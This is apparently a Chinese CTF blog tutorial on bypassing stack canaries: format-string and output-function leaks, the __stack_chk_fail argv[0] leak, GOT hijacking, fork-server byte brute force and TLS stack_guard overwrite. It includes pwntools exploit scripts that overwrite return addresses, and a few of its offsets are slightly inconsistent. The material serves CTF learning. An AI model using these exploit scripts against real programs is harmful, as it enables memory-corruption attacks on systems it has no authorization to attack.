0%

pwn穿canary

canary的各种绕过技巧

前几天又被canary给恶心了,以前一直用格式化字符串漏洞和一些输出函数来泄露canary,这一回啥也没有,给我搞麻了

回头想来,我好像就只会这两种canary的泄露方法,于是我打算学一学获取canary的技巧


canary原理

1
2
v4 = __readfsqword(0x28u);
return __readfsqword(0x28u) ^ v4;

有时候我们会在IDA中看见这两个东西,这就是canary的生成代码

在函数开始,fs:0x28 的值被存储在 ebp - 0xc,在函数返回之前对 ebp - 0xc处的值进行检查,如果和 fs:0x28 不一样,说明发生了溢出,紧接着执行__stack_chk_fail_local 并退出进程

1
2
3
.text:00000000004007F3                 mov     rax, fs:28h
.text:00000000004007FC mov [rsp+128h+var_20], rax
.text:0000000000400804 xor eax, eax
1
2
3
4
5
6
.text:0000000000400882                 mov     rax, [rsp+128h+var_20]
.text:000000000040088A xor rax, fs:28h
.text:0000000000400893 jnz short loc_4008A9
--------------------------------------------------------------------------
.text:00000000004008A9 loc_4008A9:
.text:00000000004008A9 call ___stack_chk_fail

​ //这个图的上面是高地址,下面是低地址

那么,fs:0x28 中的值是怎么生成的呢?

事实上,TLS 中的值由函数 security_init 进行初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数

//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);

_dl_random = NULL;
}

//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

在gcc中使用canary:

1
2
3
4
5
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

格式化字符串漏洞

这个可以说是经典了,找一找偏移用“%p”一下子就搞出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
10000| 0x7fffffffdf20 ("aaaaaaaa\n")      #printf第一个参数的地址
10008| 0x7fffffffdf28 --> 0xa ('\n')
10016| 0x7fffffffdf30 --> 0x0
10024| 0x7fffffffdf38 --> 0x0
10032| 0x7fffffffdf40 --> 0x0
10040| 0x7fffffffdf48 --> 0x0
10048| 0x7fffffffdf50 --> 0x0
10056| 0x7fffffffdf58 --> 0x0
10064| 0x7fffffffdf60 --> 0x0
10072| 0x7fffffffdf68 --> 0x0
10080| 0x7fffffffdf70 --> 0x0
10088| 0x7fffffffdf78 --> 0x0
10096| 0x7fffffffdf80 --> 0x0
10104| 0x7fffffffdf88 --> 0x0
10112| 0x7fffffffdf90 --> 0x0
10120| 0x7fffffffdf98 --> 0x0
10128| 0x7fffffffdfa0 --> 0x400a50 (push r15)
10136| 0x7fffffffdfa8 --> 0x7ce1a471e5f87d00 #金丝雀巢穴
10144| 0x7fffffffdfb0 --> 0x7fffffffdff0 --> 0x0 #上一个函数的ebp
10152| 0x7fffffffdfb8 --> 0x4008b8 (jmp 0x4008d8) #返回地址
10160| 0x7fffffffdfc0 --> 0x7ffff7fb2fc8 --> 0x0

可以计算出偏移为“17”

1
2
3
4
formats("%23$p")     #这是64位系统 17+6=23
p.recvuntil('0x') #用prinft打印的canary以‘0x’开头
canary = eval(b'0x'+p.recv(16)) #canary有8个字节
print(hex(canary))

​ //通常把gdb和终端结合起来看效果更好

输出函数

canary设计为以字节“\x00”结尾,而输出函数会被“\x00”中断,如果把“\x00”给覆盖了就可以利用输出函数来泄露canary

1
2
3
4
5
6
7
8
9
10
10000| 0x7fffffffdf20 ("aaaaaaaa")      #printf第一个参数的地址
10008| 0x7fffffffdf20 ("aaaaaaaa")
10018| 0x7fffffffdf20 ("aaaaaaaa")
10020| 0x7fffffffdf20 ("aaaaaaaa")
10028| 0x7fffffffdf20 ("aaaaaaaa")
10030| 0x7fffffffdf20 ("aaaaaaaa")
10038| 0x7fffffffdfa8 --> 0x7ce1a471e5f87d+'\n' #金丝雀巢穴
10040| 0x7fffffffdfb0 --> 0x7fffffffdff0 --> 0x0 #上一个函数的ebp
10048| 0x7fffffffdfb8 --> 0x4008b8 (jmp 0x4008d8) #返回地址
10050| 0x7fffffffdfc0 --> 0x7ffff7fb2fc8 --> 0x0

这样canary结尾的“\x00”就被替换为了“\n”,后续的read函数就可以成功泄露canary

利用stack_chk_fail的报错信息

前面两个都是常规的,这个就不一样了

1
2
*** stack smashing detected ***: terminated
[1] 3005 abort (core dumped) ./newbie

当canary被覆盖时,程序会进行上述报错

打印这些字符串的函数是“stack_chk_fail.c”:

1
2
3
4
5
6
7
8
9
10
11
12
"debug/fortify_fail.c"
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg;
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

可以发现canary触发时会打印 “libc_argv[0]”,如果栈溢出覆盖了 “libc_argv[0]”,那么程序就会打印覆盖的内容

​ // libc_argv[0]装有指向程序地址的指针

这种操作只能泄露指针的内容,并且需要目标指针的地址来覆盖 “libc_argv[0]” ,所以“libc_argv[0]” 相当于输入值的偏移也需要掌握

​ // 如果存在“fork”,还可以利用这种方式来打印“libc_base”

stack_chk_fail劫持

canary报错时会调用 _stack_chk_fail ,那么劫持 _stack_chk_fail 当然也是一种攻击手段

这个一般通过GOT表劫持该函数,所以不能开启 Full RELRO 保护

像printf格式化漏洞WAA,或者堆溢出WAA,都可以改写GOT表内容,甚至配合UAF和数组越位也可以改写GOT表(如果合适的话)

one-by-one爆破

一般来说,爆破canary是很蠢的事情,因为每次运行程序canary都会改变

但是存在一类通过fork函数开启子进程交互的题目,fork函数会直接拷贝父进程的内存,因此每次创建的子进程的canary是相同的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void getflag(void) {
char flag[100];
FILE *fp = fopen("./flag", "r");
if (fp == NULL) {
puts("get flag error");
exit(0);
}
fgets(flag, 100, fp);
puts(flag);
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void fun(void) {
char buffer[100];
read(STDIN_FILENO, buffer, 120);
}
int main(void) {
init();
pid_t pid;
while(1) {
pid = fork(); //fork开启子进程
if(pid < 0) {
puts("fork error");
exit(0);
}
else if(pid == 0) {
puts("welcome");
fun();
puts("recv sucess");
}
else {
wait(0);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = 'debug'

cn = process('./bin')
padding = 'a'*100

cn.recvuntil('welcome\n')
canary = '\x00'
for j in range(3):
for i in range(0x100):
cn.send( padding + canary + chr(i))
a = cn.recvuntil('welcome\n')
if 'recv' in a:
canary += chr(i)
break

cn.sendline('a'*100 + canary + 'a'*12 + p32(0x0804864d))

flag = cn.recv()
cn.close()
log.success('flag is:' + flag)
#32位为‘3’,64位为‘7’

这个模板可以说是经典了,遇到此类题目后改一改就好了

覆盖TLS中储存的canary值

canary的值存储在fs:[0x28]中

fs寄存器是由glibc定义的,存放Thread Local Storage (TLS)信息

该结构体如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; /* canary,0x28偏移 */
uintptr_t pointer_guard;
……
} tcbhead_t;

这个 stack_guard 是在 libc_start_main 中进行设置和赋值的

一般来说,我们不知道TLS的位置,需要爆破脚本来找出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
offset=1
while True:
p = process('./xxxx')
p.recvuntil("xxxx")
payload = ''
payload += (padding-8) #padding
payload += 'aaaaaaaa' #fake canary
payload += p64(0xdeadbeef) #rbp
payload += p64(0) #返回地址
payload += 'a'*(offset-len(payload))
p.send(payload)
temp = p.recvall()
if "xxxx" in temp:
print(offset)
p.close()
break
else:
offset += 1
p.close()

""""
原本程序覆盖了canary是一定会报错的,但是payload后续填入的“a”可能会覆盖TLS,使程序通过canary
只要程序通过了canary,‘p.recvall()’就会不接受到报错信息(stack_chk_fail)
这之后我们就可以通过打印出的offset来计算偏移了
""""

当然也可以不找偏移,直接一次性填入非常长的“a”也是可以覆盖的

覆盖TLS的方法只能在有“pthread_create”的题中可以用用,不然程序就很可能会覆盖关键数据,然后直接挂掉